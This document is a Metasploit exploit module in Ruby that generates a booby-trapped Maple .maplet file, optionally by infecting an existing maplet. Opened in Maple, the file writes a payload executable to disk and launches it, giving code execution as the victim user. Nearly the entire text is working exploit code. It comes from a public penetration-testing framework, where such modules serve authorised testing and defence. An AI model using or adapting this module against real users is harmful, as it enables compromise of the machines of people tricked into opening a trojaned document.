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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::FILEFORMAT
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  include Msf::Exploit::EXE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Maple Maplet File Creation and Command Execution',
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        'Description' => %q{
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          This module harnesses Maple's ability to create files and execute commands
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          automatically when opening a Maplet. All versions up to 13 are suspected
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          vulnerable. Testing was conducted with version 13 on Windows. Standard security
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          settings prevent code from running in a normal maple worksheet without user
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          interaction, but those setting do not prevent code in a Maplet from running.
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          In order for the payload to be executed, an attacker must convince someone to
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          open a specially modified .maplet file with Maple. By doing so, an attacker can
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          execute arbitrary code as the victim user.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'scriptjunkie'
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        ],
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        'References' => [
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          [ 'CVE', '2010-20120' ],
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          [ 'OSVDB', '64541'],
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          [ 'URL', 'http://www.maplesoft.com/products/maple/' ]
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        ],
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => '',
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          'DisableNops' => true
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          #					'Compat'      =>
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          #						{
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          #							'PayloadType' => 'cmd',
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          #							'RequiredCmd' => 'generic perl telnet',
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          #						}
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        },
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        'Targets' => [
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          [
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            'Windows',
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            {
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              'Arch' => ARCH_X86,
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              'Platform' => 'win'
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            }
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          ],
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          [
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            'Windows X64',
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            {
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              'Arch' => ARCH_X64,
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              'Platform' => 'win'
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            }
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          ],
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          [
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            'Linux',
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            {
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              'Arch' => ARCH_X86,
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              'Platform' => 'linux'
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            }
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          ],
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          [
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            'Linux X64',
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            {
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              'Arch' => ARCH_X64,
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              'Platform' => 'linux'
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            }
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          ],
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          [
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            'Universal CMD',
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            {
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              'Arch' => ARCH_CMD,
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              'Platform' => %w[linux unix win]
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            }
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          ]
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        ],
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        'DisclosureDate' => '2010-04-26',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),
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        OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),
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      ]
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    )
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  end
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  def exploit
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    content = ''
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    if target['Arch'] != ARCH_CMD
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      # Get payload as executable on whatever platform
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      binary = generate_payload_exe
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      # Get filename and random variable name for file handle in script
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      fname = rand_text_alpha(rand(3..17))
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      if target['Platform'] == 'win'
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        fname << '.exe'
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      end
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      fhandle = rand_text_alpha(rand(3..17))
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      # Write maple commands to create executable
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      content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
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      exe = binary.unpack('C*')
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      content << "writebytes(#{fhandle},[#{exe[0]}"
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      lines = []
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      1.upto(exe.length - 1) do |byte|
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        if (byte % 100 == 0)
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          lines.push "]);\r\nwritebytes(#{fhandle},[#{exe[byte]}"
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        else
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          lines.push ",#{exe[byte]}"
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        end
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      end
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      content << lines.join('') + "]);\r\n"
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      content << 'fclose(' + fhandle + ");\n"
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      # Write command to be executed
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      if target['Platform'] != 'win'
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        content << "system(\"chmod a+x #{fname}\");\n"
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      end
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      content << "system[launch](\"#{fname}\");\n"
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    else
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      content << "system(\"#{payload.encoded}\");\n"
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    end
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    # Then put the rest of the original maplet
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    if datastore['TEMPLATE'] != ''
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      File.open(datastore['TEMPLATE'], 'rb') do |fd|
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        content << fd.read(File.size(datastore['TEMPLATE']))
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      end
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    end
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    # Create the file
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    print_status("Creating '#{datastore['FILENAME']}' file...")
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    file_create(content)
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  end
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end
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